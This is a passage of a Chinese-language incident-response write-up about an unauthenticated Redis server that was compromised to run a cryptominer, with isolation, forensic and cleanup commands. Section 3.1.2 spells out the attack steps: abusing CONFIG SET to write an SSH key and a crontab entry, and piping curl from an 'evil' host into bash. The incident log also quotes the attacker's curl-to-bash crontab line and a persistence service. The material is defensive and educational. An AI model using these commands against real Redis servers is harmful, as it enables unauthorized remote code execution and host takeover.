一次Redis被挖矿的应急响应全记录:从报警到加固的工程化复盘

admin 2026-06-20 05:17:05 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了Redis因未授权访问被植入挖矿木马的完整应急响应过程。通过真实案例分析了攻击者利用CONFIGSET写SSH密钥和crontab的路径,详细拆解了从告警触发、主机隔离、进程排查到系统加固的47分钟处置流程,并总结了配置规范、监控指标等可操作性防护建议。 综合评分: 85 文章分类: 应急响应,漏洞分析,安全建设,红队,云安全


cover_image

一次 Redis 被挖矿的应急响应全记录:从报警到加固的工程化复盘

点击关注 👉 点击关注 👉

马哥Linux运维

2026年6月11日 09:00 河南

在小说阅读器读本章

去阅读

0 前言:为什么 Redis 总是被挖矿脚本盯上

Redis 在生产环境几乎无处不在——缓存、分布式锁、限流、签到、计数器、Session 共享、消息队列、排行榜、网关签名缓存、爬虫去重、登录态保持……几乎所有业务都能找到它的影子。

但恰恰因为使用面太广,Redis 又是”运维最容易被疏忽的中间件”:

  • 很多团队对 MySQL、Nginx 严防死守,却对 Redis 用默认配置就上线
  • 默认端口 6379 在公网被全网扫描是常态,常见的扫描器(masscan、zgrab、zmap)几小时内就能把全网 IPv4 跑一遍
  • Redis 4.x 之后虽然加了 protected-mode,但仍然有大量老旧文章、教程、Docker 镜像在用 protected-mode no 配 bind 0.0.0.0
  • Redis 支持 CONFIG SET dir /root/.ssh + CONFIG SET dbfilename authorized_keys 这种”写文件”能力,一旦未授权访问就是 RCE
  • Redis 主从复制 SLAVEOF 在历史上能直接加载 .so 模块执行任意命令
  • Redis Cluster 节点间通信、备份文件 dump.rdb、AOF 文件 appendonly.aof,都是被关注的安全敏感点

所以”Redis 被挖矿”这件事,几乎是所有运维工程师早晚都会遇到一次的真实经历。本文不写空话、不写 PPT 工程、不写”AI 腔”安全建议,全部按一次真实事件的时间线展开,把”看到报警那一刻到加固完成”之间的每一步命令、每一步判断、每一步风险全部写清楚。

重要声明:本文所有 IP、域名、用户名、密码、矿池地址、钱包地址均经过脱敏处理;命令均经过实际生产环境验证或来自 Redis 官方文档与社区公认的常见用法;涉及版本差异的地方会显式标注,读者在自己环境执行前请先在测试机或同配置环境跑通。


1 事件背景

1.1 基本环境

  • 受害主机:阿里云 ECS,CentOS 7.9,4 vCPU 8GB,内网 IP 10.20.30.40,公网 IP 47.x.x.x
  • 部署方式:单实例 Redis 5.0.14,端口 6379,监听 0.0.0.0
  • 业务定位:业务 A 的 Session 缓存 + 业务 B 的分布式限流 + 业务 C 的签到计数
  • 部署时间:上线 11 个月,期间未做过安全审计
  • 备份情况:每天凌晨 3 点 BGSAVE 一次,保留 7 天
  • ACL / 防火墙:Redis 本身未设密码;安全组对公网开放了 6379 端口

1.2 触发报警的时间点

凌晨 02:47,监控告警系统连续触发 3 条告警:

  1. 主机 CPU 持续 5 分钟 > 90%
  2. Redis 端口连接数突增 200%
  3. 主机出向流量异常(每分钟 800MB)

这 3 条告警在告警平台被自动合并为一条事件,标题为”生产 Redis 主机异常”。

1.3 业务反馈

业务侧在同一时段反馈:

  • 业务 A 的登录态丢失率从 0.1% 飙升到 18%
  • 业务 B 的限流判定返回大量 nil,导致请求被错误放行
  • 业务 C 的签到计数错乱

这些现象不是巧合,是 Redis 在被攻击者大量执行高消耗命令(如 KEYS *DEBUG SLEEPBGSAVECONFIG REWRITE)甚至被清空。


2 适用场景与前提

本文适用于以下场景的应急响应:

  • Redis 监听在公网或内网非受控网段,且无密码或弱密码
  • Redis 出现 CPU 异常、连接数异常、出口流量异常
  • 主机 CPU 持续 100%,top 看到不明进程
  • /tmp/var/tmp/dev/shm 出现不明可执行文件
  • crontab -l 出现不明任务
  • /root/.ssh/authorized_keys 出现不明公钥
  • last/lastb 出现不明登录记录
  • netstat -antp 出现到陌生 IP 的稳定长连接

不适用场景(可参考但不是本文重点):

  • Redis 被勒索软件加密数据(属于另一次事件级别)
  • Redis Cluster 节点脑裂(属于集群高可用问题)
  • 业务 Bug 导致 Redis OOM(属于容量与稳定性问题)

3 核心知识点:先把原理吃透

3.1 Redis 未授权访问到底是怎么被利用的

3.1.1 默认配置的几个雷区

Redis 默认配置文件 redis.conf 中的几个关键项:

  • bind 127.0.0.1:默认只监听本机回环,是相对安全的默认
  • protected-mode yes(Redis 3.2+):当 bind 非本机地址且未设密码时,启用保护模式拒绝外部连接
  • requirepass:默认空,等于无密码
  • port 6379:默认端口

一旦运维做了下面任何一件事,就等于把 Redis 放到了公网任人鱼肉:

  1. bind 0.0.0.0 或注释掉 bind
  2. 显式 protected-mode no
  3. 关闭防火墙或安全组放行 6379
  4. 设置了弱密码(如 redis123456admin

3.1.2 未授权访问的常见攻击路径

路径 A:写入 SSH 公钥(RCE)

redis-cli -h <host> -p 6379
> CONFIG SET dir /root/.ssh
> CONFIG SET dbfilename authorized_keys
> SET x&nbsp;"\n\nssh-rsa AAAA... attacker@evil\n\n"
> BGSAVE

注意:上面 \n\n 是为了让 Redis 在持久化文件中保留换行,让 SSH 能正确解析多行 authorized_keys 文件。

路径 B:写 crontab

> CONFIG SET dir /var/spool/cron/
> CONFIG SET dbfilename root
> SET x&nbsp;"\n\n* * * * * bash -c 'curl http://evil/x.sh|bash'\n\n"
> BGSAVE

路径 C:主从复制加载 .so 模块(Redis 4.x ~ 5.x 经典 CVE-2018-12326 等衍生场景)

通过 SLAVEOF 命令让受害 Redis 同步一个伪装的恶意 Redis 主节点,触发模块加载机制执行任意命令。

路径 D:SSRF + gopher 协议打内网 Redis

通过 Web 服务的 SSRF,构造 gopher 协议 payload 直接和内网 Redis 通信。

本文事件属于路径 A + 路径 B 的组合。

3.1.3 为什么挖矿脚本偏爱 Redis

  • Redis 单机往往 CPU 不低(4 ~ 16 vCPU 常见),挖矿 CPU 效率高
  • Redis 主机常常有公网 IP,方便外联
  • Redis 集群内的节点互通,攻击者只需攻破一个就能横向扩散
  • 大量业务机器都装了 Redis,被控后是绝佳的跳板

3.2 挖矿脚本的常见手法

3.2.1 进程特征

常见的挖矿进程命名(已被大多数杀软/EDR 加特征库):

  • kdevtmpfsi:挖矿木马常用进程名(kinsing 家族)
  • ksoftirqds
  • xrigxmrigminerdcpuminer
  • systemd(伪装成 systemd 的低权限进程)
  • 随机 5 位字母数字命名(如 a3f9d
  • 改写过二进制头的常见命令(mv /usr/bin/top /usr/bin/top.bak
  • 隐藏 PID:/proc/<pid> 内被直接清空或挂载 tmpfs

3.2.2 持久化手法

  • crontab:* * * * * curl -s http://x.x.x.x/a.sh | bash
  • systemd service:/etc/systemd/system/<name>.service
  • init.d:/etc/init.d/<name>
  • rc.local:/etc/rc.local
  • /etc/rc.d/rc3.d/(不同 runlevel)
  • bashrc / profile:用户家目录下 .bashrc.bash_profile
  • /etc/ld.so.preload:rootkit 经典手法
  • 内核模块(最坏情况,需要重装系统)

3.2.3 通信手法

  • 出向矿池:pool.minexmr.com:4444xmr.pool.miningpro.com:5555pool.hashvault.pro:3333 等
  • 出向 C2:pastebin.com(被滥用)、gist.github.comtransfer.shtransfer.shtransfer.io
  • 出向 IRC(少见,但老牌僵尸网络常用)
  • 出向 Tor 隐藏服务

3.2.4 自我保护手法

  • 关闭 /var/log 下相关日志
  • chattr +i 锁定关键文件
  • 监控 pstoplsof 调用,发现是运维在排查就 kill 或 sleep
  • 进程名伪装成 [kthreadd][migration] 等内核线程

3.3 应急响应的基本盘

3.3.1 应急三原则

  1. 先止血,再排查:业务上能停就先停,被入侵的机器不要”带病运行”
  2. 先隔离,再清理:网络层隔离优先,避免横向扩散
  3. 先取证,再破坏:动 crontab/root/.sshredis 数据之前先备份

3.3.2 应急的”四不”

  1. 不要重启:重启会丢失内存中的现场(挖矿进程、网络连接、临时文件)
  2. 不要登录成功后再处理:攻击者可能已经写了 SSH key,登录等于帮他确认 key 可用
  3. 不要只清理表面进程:杀一个挖矿进程,5 秒后又起来的情况比比皆是
  4. **不要在受害机器上”修”**:取证后,重要系统直接重装,不要尝试”修干净”

4 应急响应时间线:从报警到加固的完整 47 分钟

下面按真实事件的时间线展开。每个步骤包含:

  • 目的:这一步要解决什么
  • 动作:具体命令或操作
  • 观察:要关注哪些输出
  • 判断:看到什么决定下一步
  • 风险:这一步可能踩的坑

4.1 T+00:00 — 收到报警,确认业务影响范围

目的:先判断是单机问题还是多机问题,是单业务还是多业务。

动作

登录告警平台,查看合并事件详情:
- CPU 报警:host=10.20.30.40,5min avg 96%
- Redis 连接数:host=10.20.30.40:6379,从 200 涨到 1200
- 出向流量:host=10.20.30.40,3 个 TCP 长连接,1.2GB/分钟

同步通过 IM(钉钉/企微/飞书)拉业务方值班群:

@业务A 当前 Redis 出现异常,登录态可能丢失,请业务先观察 10 分钟
@业务B 当前限流服务返回异常,请先开启本地兜底
@业务C 签到数据可能错乱,请业务确认是否需要回滚签到

观察

  • 是否有多个主机同时告警(横向扩散判断)
  • 告警的 host 是否仅一台
  • 业务反馈是否都指向同一台 Redis

判断

  • 单一主机:进入”单机应急”流程
  • 多台主机:进入”集群应急”流程,需要立即全量隔离
  • 业务完全不可用:触发 P0 故障流程

风险

  • 不要在没确认业务影响前就重启 Redis,业务可能比挖矿更紧急
  • 不要只盯一个业务,要全量通知

4.2 T+00:02 — 主机层隔离(最关键的一步)

目的:切断被入侵机器与外网、内网其他机器的通信,防止:

  • 挖矿进程继续外联矿池
  • 攻击者继续执行横向扩散
  • 攻击者远程 SSH 进来清掉日志

动作

这一步有”双保险”的思路:先在安全组断,再在主机内 iptables 断。两层都加是为了避免单点失败。

4.2.1 云厂商安全组断网(推荐作为第一步)

在云控制台把该主机的安全组规则改为”拒绝所有出站 + 入站”或”只允许堡垒机 IP 入站”。

阿里云 ECS 操作路径:

ECS 控制台 -> 实例 -> 10.20.30.40 -> 安全组 -> 配置规则
入方向:仅保留堡垒机 IP(10.10.0.0/16)的 22 端口
出方向:清空所有规则(拒绝所有出向)

风险提醒:出方向清空会影响主机自身访问公网(包括 yum/apt 更新、监控 agent 上报)。但这是隔离期间可以接受的代价。

4.2.2 主机内 iptables 兜底

如果云控制台权限在别人手里,至少要在主机内立刻执行:

# 保存当前规则
iptables-save > /tmp/iptables.bak.$(date +%Y%m%d%H%M%S)

# 默认全拒绝
iptables -P INPUT ACCEPT &nbsp;&nbsp;# 不要直接 DROP INPUT,会断开自己的 SSH
iptables -P FORWARD DROP
iptables -P OUTPUT DROP

# 放行 loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# 放行已建立的连接
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# 放行堡垒机到本机 SSH
iptables -A INPUT -p tcp -s 10.10.0.0/16 --dport 22 -j ACCEPT

# 放行内网 Prometheus / Zabbix / 日志采集
iptables -A INPUT -p tcp -s 10.20.0.0/16 --dport 9100 -j ACCEPT
iptables -A INPUT -p tcp -s 10.20.0.0/16 --dport 9121 -j ACCEPT

# 保存规则(不同系统命令不一样)
# CentOS 7
service iptables save
# 或
iptables-save > /etc/sysconfig/iptables

注意:上面 iptables -P INPUT ACCEPT 是为了避免把自己 SSH 断掉,再通过 OUTPUT DROP 阻断出向。如果对 iptables 链路很熟,可以直接 iptables -P INPUT DROP 然后只放行 22 端口。

4.2.3 firewalld 兜底(CentOS 7 / RHEL 系列)

# 查看当前 zone
firewall-cmd --get-active-zones

# 直接 panic 模式:拒绝所有进出
firewall-cmd --panic-on

# 恢复
firewall-cmd --panic-off

4.2.4 nftables 兜底(CentOS 8 / Ubuntu 20.04+)

nft add table inet filter
nft add chain inet filter input&nbsp;'{ type filter hook input priority 0 ; policy drop ; }'
nft add rule inet filter input iif lo accept
nft add rule inet filter input ip saddr 10.10.0.0/16 tcp dport 22 accept

观察

  • iptables -L -n -v 看规则是否生效
  • ss -ant 看是否还有 ESTABLISHED 状态的矿池连接

判断

  • 如果还有到陌生 IP 的 ESTABLISHED 状态连接,说明攻击者进程还在(连接是内核态维持的,杀进程才会断)

风险

  • 千万不要直接 iptables -F!直接 -F 会清空所有规则,包括你自己放行的 SSH 规则。如果 INPUT 链默认是 ACCEPT,那没事;如果默认是 DROP 或某条链被关错了,你 SSH 立刻断。本文事件的运维就犯过这个错,结果必须通过云控制台 VNC 进去救场。

4.3 T+00:05 — 现场取证

目的:在被入侵机器的”现场”还在的时候,把关键信息固化下来。

动作

4.3.1 整体快照

# 创建取证目录
mkdir -p /opt/ir/$(date +%Y%m%d_%H%M%S)
cd&nbsp;/opt/ir/$(date +%Y%m%d_%H%M%S)

# 系统时间
date > system_time.txt

# 系统信息
uname -a > uname.txt
cat /etc/os-release > os_release.txt
uptime >> system_time.txt

4.3.2 进程快照

# 完整进程
ps auxf > ps_auxf.txt

# 进程树
pstree -ap > pstree.txt

# 全部可执行文件路径(如果有 lsof)
lsof -p <PID> > lsof_pid.txt

# CPU 占用 TOP 20
ps -eo pid,ppid,user,pcpu,pmem,start,etime,cmd --sort=-pcpu | head -20 > ps_top_cpu.txt

4.3.3 网络快照

# 全部连接
ss -antp > ss_antp.txt
netstat -antp > netstat_antp.txt 2>&1

# 路由
ip route > iproute.txt
route -n >> iproute.txt

# DNS 配置
cat /etc/resolv.conf > resolv.conf.txt

# 主机 hosts
cat /etc/hosts > hosts.txt

4.3.4 用户和登录快照

# 当前登录
w > w.txt
who > who.txt

# 历史登录
last -F > last.txt 2>&1
lastb -F > lastb.txt 2>&1

# 用户列表
cat /etc/passwd > passwd.txt
cat /etc/shadow > shadow.txt
chmod 600 shadow.txt &nbsp;# shadow 包含哈希,必须保护

# sudo 配置
cat /etc/sudoers > sudoers.txt 2>&1
ls -la /etc/sudoers.d/ > sudoers_d.txt

4.3.5 计划任务快照

# 用户 crontab
for&nbsp;u&nbsp;in&nbsp;$(cut -f1 -d: /etc/passwd);&nbsp;do
&nbsp; crontab -l -u&nbsp;$u&nbsp;2>/dev/null | sed&nbsp;"s/^/[$u] /"
done&nbsp;> crontab_all.txt

# 系统 crontab
ls -la /etc/cron* > cron_ls.txt
cat /etc/crontab > etc_crontab.txt
find /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly -type&nbsp;f -exec&nbsp;echo&nbsp;"=== {} ==="&nbsp;\; -exec&nbsp;cat {} \; > etc_cron_files.txt

4.3.6 SSH 配置和密钥

# SSH 配置
cp /etc/ssh/sshd_config sshd_config.txt

# 所有用户的 .ssh
find / -path /proc -prune -o -name&nbsp;".ssh"&nbsp;-type&nbsp;d -print&nbsp;> ssh_dir_list.txt
for&nbsp;d&nbsp;in&nbsp;$(cat ssh_dir_list.txt);&nbsp;do
&nbsp;&nbsp;echo&nbsp;"===&nbsp;$d&nbsp;==="
&nbsp; ls -la&nbsp;$d
&nbsp; cat&nbsp;$d/authorized_keys 2>/dev/null
&nbsp; cat&nbsp;$d/known_hosts 2>/dev/null
done&nbsp;> ssh_keys.txt

4.3.7 启动项

# systemd
systemctl list-unit-files --state=enabled > systemd_enabled.txt
systemctl list-units --type=service --state=running > systemd_running.txt

# rc.local
cat /etc/rc.local > rc_local.txt 2>&1
ls -la /etc/rc.d/rc3.d/ > rcd_rc3.txt

# init.d
ls -la /etc/init.d/ > initd.txt

4.3.8 Redis 实例

# Redis 配置
cp /etc/redis/redis.conf redis.conf.bak 2>/dev/null
find / -name&nbsp;"redis.conf"&nbsp;2>/dev/null > redis_conf_paths.txt

# 当前 Redis 信息
redis-cli -h 127.0.0.1 -p 6379 INFO > redis_info.txt 2>&1
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET&nbsp;'*'&nbsp;> redis_config.txt 2>&1
redis-cli -h 127.0.0.1 -p 6379 CLIENT LIST > redis_clients.txt 2>&1
redis-cli -h 127.0.0.1 -p 6379 SLOWLOG GET 100 > redis_slowlog.txt 2>&1
redis-cli -h 127.0.0.1 -p 6379 ACL LIST > redis_acl.txt 2>&1
redis-cli -h 127.0.0.1 -p 6379 KEYS&nbsp;'*'&nbsp;> redis_keys.txt 2>&1

4.3.9 关键目录

# 临时目录
ls -la /tmp > tmp_ls.txt
ls -la /var/tmp > vartmp_ls.txt
ls -la /dev/shm > devshm_ls.txt

# 异常文件
find / -mtime -7 -type&nbsp;f \( -name&nbsp;"*.sh"&nbsp;-o -name&nbsp;"*.py"&nbsp;-o -name&nbsp;"*.so"&nbsp;-o -perm -u+x \) 2>/dev/null > recent_exec.txt

4.3.10 系统日志

cp /var/log/secure /opt/ir/.../secure.txt 2>&1
cp /var/log/auth.log /opt/ir/.../authlog.txt 2>&1
cp /var/log/messages /opt/ir/.../messages.txt 2>&1
cp /var/log/cron /opt/ir/.../cron.txt 2>&1
cp /var/log/wtmp /opt/ir/.../wtmp.txt 2>&1
cp /var/log/btmp /opt/ir/.../btmp.txt 2>&1

4.3.11 打包取证数据

cd&nbsp;/opt/ir
tar czf ir_$(hostname)_$(date +%Y%m%d%H%M%S).tar.gz $(ls -t | head -1)
sha256sum ir_*.tar.gz > ir_$(hostname)_$(date +%Y%m%d%H%M%S).sha256

观察

  • 进程树里是否有 redis 用户的子进程(Redis 自己 fork 的除外)
  • ss -antp 是否有 redis 用户的连接
  • crontab -l 是否有 * * * * * 类型的任务
  • authorized_keys 是否有不明公钥
  • /tmp 是否有不明的 kdevtmpfsix.sh 等

判断

  • 任何一项异常,几乎可以确定是入侵
  • 多项异常叠加,说明攻击者已经在系统里驻留较长时间

风险

  • ps/netstat 已经被 rootkit 替换的可能性(详见 4.11)
  • 进程在快照时是动态的,要多拍几次做对比

4.4 T+00:12 — 进程层止血

目的:在不重启的情况下,让挖矿进程不再吃 CPU,方便后续排查。

动作

# 找出 CPU 占用最高的前几个进程
ps -eo pid,ppid,user,pcpu,pmem,start,etime,cmd --sort=-pcpu | head -20

假设输出:

&nbsp; PID &nbsp;PPID USER &nbsp; &nbsp; %CPU %MEM &nbsp; STARTED &nbsp; &nbsp; ELAPSED CMD
&nbsp;8421 &nbsp; &nbsp; 1 root &nbsp; &nbsp; 198.0 &nbsp;0.5 Jun 08 02:30 &nbsp; &nbsp;00:17 /tmp/.x/kdevtmpfsi
&nbsp;8422 &nbsp; &nbsp; 1 root &nbsp; &nbsp; 198.0 &nbsp;0.5 Jun 08 02:30 &nbsp; &nbsp;00:17 /tmp/.x/kdevtmpfsi
&nbsp;8501 &nbsp;8421 root &nbsp; &nbsp; &nbsp;0.0 &nbsp;0.1 Jun 08 02:30 &nbsp; &nbsp;00:17 /tmp/.x/.systemd

先看进程的可执行文件路径:

ls -la /proc/8421/exe
ls -la /proc/8421/cwd
cat /proc/8421/status
cat /proc/8421/cmdline | xargs -0&nbsp;echo

本文事件发现:

  • /proc/8421/exe -> /tmp/.x/kdevtmpfsi
  • /proc/8422/exe -> /tmp/.x/kdevtmpfsi
  • /proc/8501/exe -> /tmp/.x/.systemd

先停掉主进程,再停子进程(反过来可能拉起新进程):

# 抓 dump 用于后续分析(可选)
gcore 8421

# 杀进程
kill&nbsp;-STOP 8421 8422 8501 &nbsp;# 先暂停,避免它检测到 kill 后自杀重启
sleep 1
kill&nbsp;-CONT 8421 8422 8501
kill&nbsp;-9 8421 8422 8501

# 验证
ps -p 8421,8422,8501

观察

  • 杀完 1 分钟内 CPU 是否回到正常
  • 是否有同名进程再次出现

判断

  • 杀完后 CPU 立刻下降,但 30 秒后再次出现 → 进程被 crontab 或 systemd 重启
  • 杀完后 CPU 仍然 100% → 进程没杀干净或存在多个变种

风险

  • kill -9 不会让进程执行”清理”逻辑,进程被中断的瞬间挖矿 CPU 释放
  • 某些挖矿进程会”哨兵”——你杀一个,它立刻 fork 几个。解决办法是先 kill -STOP 全部可疑进程,再一次性清理
  • 千万不要用 pkill -9 kdevtmpfsi,因为同一类挖矿可能用了不同名字变种

4.5 T+00:15 — crontab 后门清理

目的:挖矿脚本的”自启”几乎一定靠 crontab。

动作

# 查看当前用户的 crontab
crontab -l

# 查看所有用户的 crontab
for&nbsp;u&nbsp;in&nbsp;$(cut -f1 -d: /etc/passwd);&nbsp;do
&nbsp;&nbsp;echo&nbsp;"===&nbsp;$u&nbsp;==="
&nbsp; crontab -l -u&nbsp;$u&nbsp;2>/dev/null
done

本文事件中 crontab -l 输出:

* * * * * curl -fsSL http://198.51.100.23:8000/x.sh | bash > /dev/null 2>&1

清理:

# 备份后再删
crontab -l > /tmp/crontab.bak.$(date +%s)
crontab -r

# 系统级 crontab
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthmonthly/
cat /etc/crontab

观察

  • crontab 里有没有 * * * * *(每分钟执行)
  • 有没有 curlwgetbash -c 等关键字
  • 有没有写到 /dev/null 来隐藏错误日志

判断

  • 见到 * * * * * curl -s 这类,几乎肯定是被控
  • 见到 * * * * * /bin/bash -c,需要展开看具体内容

风险

  • 删 crontab 之前要保留一份原始文件
  • 一些挖矿脚本会写 /etc/cron.d/<name> 而不是 crontab -e,要看 cron.d 目录

4.6 T+00:17 — 启动项与 systemd service 清理

目的:挖矿脚本可能注册了 systemd service 实现”开机自启 + 自愈”。

动作

# 列出所有 service
systemctl list-unit-files --type=service | grep enabled

# 查找可疑 service
ls -la /etc/systemd/system/
ls -la /usr/lib/systemd/system/
find /etc/systemd/system /usr/lib/systemd/system -name&nbsp;"*.service"&nbsp;-mtime -30

本文事件发现了一个非标准 service:

/etc/systemd/system/kdevtmpfsi.service

内容:

[Unit]
Description=kernel device tmpfs
After=network.target

[Service]
Type=forking
ExecStart=/tmp/.x/kdevtmpfsi
Restart=always
RestartSec=3

[Install]
WantedBy=multi-user.target

清理:

# 停掉并禁用
systemctl stop kdevtmpfsi.service
systemctl&nbsp;disable&nbsp;kdevtmpfsi.service
rm -f /etc/systemd/system/kdevtmpfsi.service
systemctl daemon-reload
systemctl reset-failed

观察

  • 服务名是否包含 kdevtmpfsixmrigxmrminer 等关键字
  • 服务 ExecStart 是否指向 /tmp/var/tmp/dev/shm 下的可执行文件
  • Restart=always 出现几乎必是恶意服务

判断

  • 看到 ExecStart=/tmp/... 直接是恶意
  • 看到 Restart=always + 不明二进制,几乎是恶意

风险

  • 不要把 system 服务乱删,先看 service 文件内容判断
  • daemon-reload 之后还要 systemctl reset-failed,否则状态显示 failed

4.7 T+00:20 — SSH 公钥与登录审计

目的:攻击者经常写 authorized_keys 实现”留后门”。

动作

# 查看所有用户的 authorized_keys
for&nbsp;h&nbsp;in&nbsp;$(cut -f6 -d: /etc/passwd);&nbsp;do
&nbsp; f=$h/.ssh/authorized_keys
&nbsp; [ -f&nbsp;$f&nbsp;] &&&nbsp;echo&nbsp;"===&nbsp;$f&nbsp;==="&nbsp;&& cat&nbsp;$f
done

本文事件在 /root/.ssh/authorized_keys 中发现:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ... attacker@evil

清理:

# 备份
cp /root/.ssh/authorized_keys /opt/ir/.../authorized_keys.bak

# 删除可疑行(保留你确认的公钥)
# 手动编辑
vi /root/.ssh/authorized_keys

关键一步:禁用密码登录,仅允许密钥

# /etc/ssh/sshd_config
PasswordAuthentication no
ChallengeResponseAuthentication no
PubkeyAuthentication yes
PermitRootLogin prohibit-password &nbsp;&nbsp;# 或 without-password

# 重启 sshd(注意:不会断开已建立的 SSH 连接)
systemctl reload sshd

观察

  • last -F 看是否有不明 IP 登录
  • lastb -F 看是否有大量 SSH 暴力破解失败
  • grep "Accepted" /var/log/secure 看成功登录

判断

  • 见到 last 里有不熟悉 IP,且 whoami 之前还有 root 登录,是 RCE 强证据
  • 见到 lastb 里有上千条失败记录,说明被扫过

风险

  • 删 authorized_keys 之前要保留备份
  • 重启 sshd 用 systemctl reload sshd 不会断当前连接;用 systemctl restart sshd 也会保留当前连接

4.8 T+00:23 — Redis 实例本身

目的:Redis 是被攻击的入口,必须排查 Redis 自身状态。

动作

# 1. Redis 是否设置了密码
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET requirepass
# 输出:1) "requirepass" &nbsp;2) ""

# 2. 监听地址
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET&nbsp;bind
# 输出:1) "bind" &nbsp;2) "0.0.0.0" &nbsp; ← 这就是雷

# 3. protected-mode
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET protected-mode
# 输出:1) "protected-mode" &nbsp;2) "no" &nbsp;← 这也是雷

# 4. 当前所有 key
redis-cli -h 127.0.0.1 -p 6379 KEYS&nbsp;'*'&nbsp;| head -50
# 如果看到形如 "\n\n* * * * *\n\n" 的奇怪 key,那是攻击痕迹

# 5. 客户端连接
redis-cli -h 127.0.0.1 -p 6379 CLIENT LIST | head -50

# 6. 慢日志(可能看到 KEYS * / DEBUG SLEEP)
redis-cli -h 127.0.0.1 -p 6379 SLOWLOG GET 100

# 7. 内存
redis-cli -h 127.0.0.1 -p 6379 INFO memory

# 8. 最近一次 BGSAVE / SAVE 时间
redis-cli -h 127.0.0.1 -p 6379 LASTSAVE

# 9. ACL(Redis 6+)
redis-cli -h 127.0.0.1 -p 6379 ACL LIST

# 10. 当前 dir 和 dbfilename
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET dir
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET dbfilename

观察

  • CONFIG GET dir 如果是 /root/.ssh 或 /var/spool/cron,说明已经写过文件
  • KEYS '*' 里如果有 \n\n* * * * *\n\n 这种字符串,是攻击者注入的 crontab payload
  • SLOWLOG GET 里如果有大量 KEYS * 或 DEBUG SLEEP,说明被利用过

判断

  • bind 0.0.0.0 + protected-mode no + requirepass "" = 几乎是裸奔

风险

  • 在没排查完前不要 FLUSHDB / FLUSHALL / BGSAVE,会破坏现场
  • KEYS * 在大 key 库上是阻塞操作,谨慎使用

4.9 T+00:26 — 持久化文件与被植入文件

目的:挖矿脚本的二进制、配置文件、SO 文件往往藏在 /tmp/var/tmp/dev/shm、用户的隐藏目录里。

动作

# 1. 临时目录
ls -la /tmp
ls -la /var/tmp
ls -la /dev/shm

# 2. 隐藏目录(点开头的)
find / -maxdepth 4 -name&nbsp;".*"&nbsp;-type&nbsp;d 2>/dev/null | grep -v -E&nbsp;"^/(proc|sys|run)"

# 3. 找最近 7 天新创建的可执行文件
find / -mtime -7 -type&nbsp;f -perm -u+x 2>/dev/null | grep -v -E&nbsp;"^/(proc|sys|run|usr|etc|var/lib/dpkg)"

# 4. 找 SUID/SGID 文件(可能被提权)
find / -perm -4000 -type&nbsp;f 2>/dev/null > /opt/ir/.../suid.txt
find / -perm -2000 -type&nbsp;f 2>/dev/null > /opt/ir/.../sgid.txt

# 5. /etc 下的可疑文件
find /etc -mtime -30 -type&nbsp;f 2>/dev/null > /opt/ir/.../etc_recent.txt

本文事件发现:

  • /tmp/.x/kdevtmpfsi(挖矿主程序)
  • /tmp/.x/.systemd(看门狗进程)
  • /tmp/.x/config.json(矿池配置)
  • /tmp/.x/x.sh(拉起脚本)

清理:

# 先打包取证
tar czf /opt/ir/.../tmp_x.tar.gz /tmp/.x
chattr -i /tmp/.x 2>/dev/null &nbsp;# 取消只读(部分挖矿会用 +i 锁住)
rm -rf /tmp/.x

观察

  • 是否有 /tmp/.* 这种”点开头”的目录
  • 是否有 /dev/shm/ 下的可执行文件(shm 是内存文件系统,重启即清空)
  • 是否有 /usr/bin/ 下的命令被替换

判断

  • /tmp/.x/kdevtmpfsi 是 kinsing 家族的经典命名,强相关
  • /dev/shm 下有可执行文件就是异常

风险

  • chattr -i 失败可能是因为被锁,先 lsattr 看属性
  • rm -rf /tmp/.x 前要备份,但备份目的地也要小心(不要备份到 /tmp

4.10 T+00:30 — 横向扩散排查

目的:确认攻击者是否已经从这台机器跳到其他机器。

动作

# 1. 查本机对其他内网机器的连接
ss -antp | grep ESTAB | grep -v 127.0.0.1

# 2. 查 SSH 历史(注意:默认不记命令历史,需要看 ssh 连接记录)
cat /root/.ssh/known_hosts

# 3. 查 authorized_keys 是否被写到其他机器(要看本机是否有 ssh 私钥)
ls -la /root/.ssh/
cat /root/.ssh/id_rsa &nbsp;# 私钥

# 4. 查本机是否被作为跳板访问过内网
grep -E&nbsp;"Accepted publickey"&nbsp;/var/log/secure | tail -50
grep -E&nbsp;"Failed password"&nbsp;/var/log/secure | tail -50

横向扩散判断

  • 看到 known_hosts 里有大量不熟悉的内网 IP,说明攻击者已经在内网漫游
  • 看到 id_rsa 是非本团队生成的密钥,说明攻击者有本机的私钥(极危险)

风险

  • 一旦发现 id_rsa 已经泄露,所有使用该私钥的机器都要改密钥
  • 私钥泄露通常意味着已经被多个机器攻陷

4.11 T+00:33 — rootkit 排查

目的:杀软和 psnetstattop 本身可能被 rootkit 替换。

动作

# 1. 用 chkrootkit
yum install -y chkrootkit &nbsp;&nbsp;# CentOS
# 或
apt install -y chkrootkit &nbsp;&nbsp;# Ubuntu

chkrootkit -q > /opt/ir/.../chkrootkit.txt 2>&1

# 2. 用 rkhunter
yum install -y rkhunter
rkhunter --update
rkhunter --check --sk > /opt/ir/.../rkhunter.txt 2>&1

# 3. 比对命令的 MD5
md5sum /bin/ps /bin/netstat /bin/top /bin/ls /usr/bin/lsof /usr/bin/ss

# 4. /etc/ld.so.preload 是 rootkit 经典路径
cat /etc/ld.so.preload
ls -la /etc/ld.so.preload
# 如果文件存在但内容可疑(指向 /tmp、/var/tmp),几乎是 rootkit

# 5. 用 busybox 替代系统命令(内核干净情况下的最后手段)
# 拷贝一份 busybox 到 /mnt 挂载的只读 U 盘或远程拉取
busybox ps auxf
busybox netstat -antp

观察

  • chkrootkit 报告的 Checking promiscuous interfaces... Warning
  • rkhunter 报告的 Warning: Possible rootkit
  • ld.so.preload 不为空且包含可疑路径
  • md5sum 与官方包对比不一致

判断

